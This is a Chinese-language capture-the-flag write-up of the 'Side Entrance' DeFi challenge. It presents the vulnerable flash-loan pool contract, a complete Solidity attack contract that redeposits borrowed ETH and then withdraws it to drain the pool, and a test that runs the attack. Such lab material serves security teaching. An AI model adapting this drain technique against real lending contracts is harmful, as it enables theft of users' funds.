Skip to content
On this page

潜入“侧门”:一场 ETH 的“闪电贷”冒险

在去中心化的世界里,安全审计和漏洞挖掘是守护数字资产的重中之重。今天,我们将带您走进一个名为“Side Entrance”的 CTF 挑战,体验一次充满智慧与技巧的 ETH“闪电贷”冒险。

故事背景:一个慷慨的“水池”

想象一下,有一个开放式的“水池”(SideEntranceLenderPool),它像一个慷慨的管家,允许任何人存入 ETH,并在任何时候取出。更诱人的是,它还在进行一项推广活动——提供免费的“闪电贷”(Flash Loan)服务,利用池中的 ETH 为用户提供便利。

这个“水池”一开始就拥有 1000 ETH 的巨额储备。而你,作为一名勇敢的挑战者,则拥有 1 ETH 的启动资金。你的任务只有一个:成功地将“水池”中的所有 ETH 全部“营救”出来,并安全地转移到指定的“恢复账户”(recovery account)中。

挑战的入口:SideEntranceLenderPool.sol

我们先来看看这个“水池”的 Solidity 代码:

solidity
// ... (代码省略) ...
contract SideEntranceLenderPool {
    mapping(address => uint256) public balances;

    // ... (省略其他函数) ...

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);
        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); // 关键点:调用外部合约的 execute 函数
        if (address(this).balance < balanceBefore) {
            revert RepayFailed();
        }
    }
}

从代码中我们可以看到几个关键点:

  • deposit():允许任何人 payable 调用,将 ETH 存入池中,并更新 balances 映射。
  • withdraw():允许用户提取自己账户中的全部 ETH,并将余额清零。
  • flashLoan(uint256 amount):这是本次挑战的核心。它允许外部合约(通过 IFlashLoanEtherReceiver 接口)调用 execute() 函数,并向该函数发送指定数量的 amount ETH。在 execute() 执行完毕后,它会检查“水池”的余额是否小于调用前的余额,如果小于则抛出 RepayFailed 错误。

漏洞的“侧门”:闪电贷的本质

“闪电贷”是一种无需抵押即可借入任意数量资产的机制。它的核心在于“原子性”——借款、使用、还款必须在一个交易中完成。如果无法在同一交易中归还借款,整个交易就会回滚。

在这个“Side Entrance”挑战中,flashLoan 函数的设计存在一个巧妙的“侧门”。它在调用外部合约的 execute() 函数时,并没有强制要求外部合约将借到的 ETH 还回“水池”。它仅仅在 execute() 执行完毕后检查“水池”的余额是否有所减少。

巧妙的攻击思路:利用“闪电贷”的“回扣”

挑战者拥有的 1 ETH 是一个不错的起点。我们知道,flashLoan 函数会向调用者 (msg.sender) 发送 amount ETH。如果我们的攻击合约能够接收这笔 ETH,并且在 execute() 函数中做一些特殊的操作,就能制造出漏洞。

设想一下,如果我们的攻击合约在 execute() 函数中,不仅仅是接收 ETH,而是将接收到的 ETH 再次存入“水池”,同时又不主动偿还借款呢?

攻击者的“秘密武器”:MyContract.sol

这就是我们为您准备的答案合约 MyContract.sol

solidity
import {Address} from "@openzeppelin/contracts/utils/Address.sol";

contract MyContract is IFlashLoanEtherReceiver {
    SideEntranceLenderPool private immutable target;

    constructor(address _target) {
        target = SideEntranceLenderPool(_target);
    }

    function execute() external payable {
        // 关键:在这里将闪电贷的 ETH 再次存入“水池”!
        target.deposit{value: msg.value}();
    }

    function exploit(address payable _recovery) external {
        // 1. 向“水池”发起闪电贷,借走“水池”中所有的 ETH
        target.flashLoan(address(target).balance);

        // 2. 此时,攻击合约的 execute() 函数已经将借到的 ETH 存回了“水池”。
        //    闪电贷的还款检查会因为“水池”余额未减少而通过。

        // 3. 提取“水池”中所有存入的 ETH(包括我们刚才存回去的)
        target.withdraw();

        // 4. 将自己合约中所有的 ETH(也就是之前从“水池”取出的)发送到恢复账户。
        Address.sendValue(_recovery, address(this).balance);
    }

    receive() external payable {}
}

攻击流程详解:

  1. 构造并部署攻击合约: 我们创建一个 MyContract,并将其与目标“水池” SideEntranceLenderPool 关联。
  2. 发起闪电贷: 调用 MyContractexploit 函数。在这个函数中,我们调用 target.flashLoan(address(target).balance)。这意味着我们试图借走“水池”里所有的 ETH。
  3. execute() 函数的妙用:flashLoan 调用 MyContractexecute() 时,msg.value 会是“水池”的全部余额。我们在 execute() 函数中,立即将这笔 ETH (msg.value) 通过 target.deposit{value: msg.value}() 再次存入“水池”
  4. 闪电贷的“假象”: 由于我们又把借来的 ETH 存回去了,此时“水池”的实际余额并没有减少(甚至可能略微增加)。因此,flashLoan 函数中的还款检查 if (address(this).balance < balanceBefore) 就不会触发 RepayFailed 错误。闪电贷成功“完成”,但 ETH 并没有被“归还”到原来的状态。
  5. “清扫”水池:exploit 函数的下一步,我们调用 target.withdraw()。因为我们刚刚将所有 ETH 都存入了“水池”,并且“水池”现在仍然认为“我们”是持有这些 ETH 的一个地址(因为 balances 映射被更新了),所以 withdraw() 会将“水池”中所有的 ETH(包括之前借走又存回去的)全部发送到我们的攻击合约 MyContract 中。
  6. 最终转移: 最后,攻击合约 MyContract 将自己所有的 ETH(也就是从“水池”中取出的所有 ETH)发送到指定的 recovery 地址。

胜利的曙光:Test 脚本

SideEntrance.t.sol 测试脚本中,我们只需要这样做:

solidity
function test_sideEntrance() public checkSolvedByPlayer {
    MyContract m = new MyContract(address(pool)); // 部署攻击合约
    m.exploit(payable(recovery)); // 调用 exploit 函数,将 ETH 转移到 recovery 地址
}

至此,我们就成功地利用了“Side Entrance”的“侧门”,将“水池”中的所有 ETH 转移到了指定的恢复账户,完成了挑战!

总结

“Side Entrance”挑战巧妙地利用了 Solidity 中函数调用和 ETH 转移的细节,尤其是闪电贷机制的实现方式。它提醒我们,即使是看似简单的合约,也可能隐藏着意想不到的漏洞。在 DeFi 的世界里,每一个细节都至关重要,唯有深入理解和细致审计,才能筑牢资产安全的堤坝。

Built with AiAda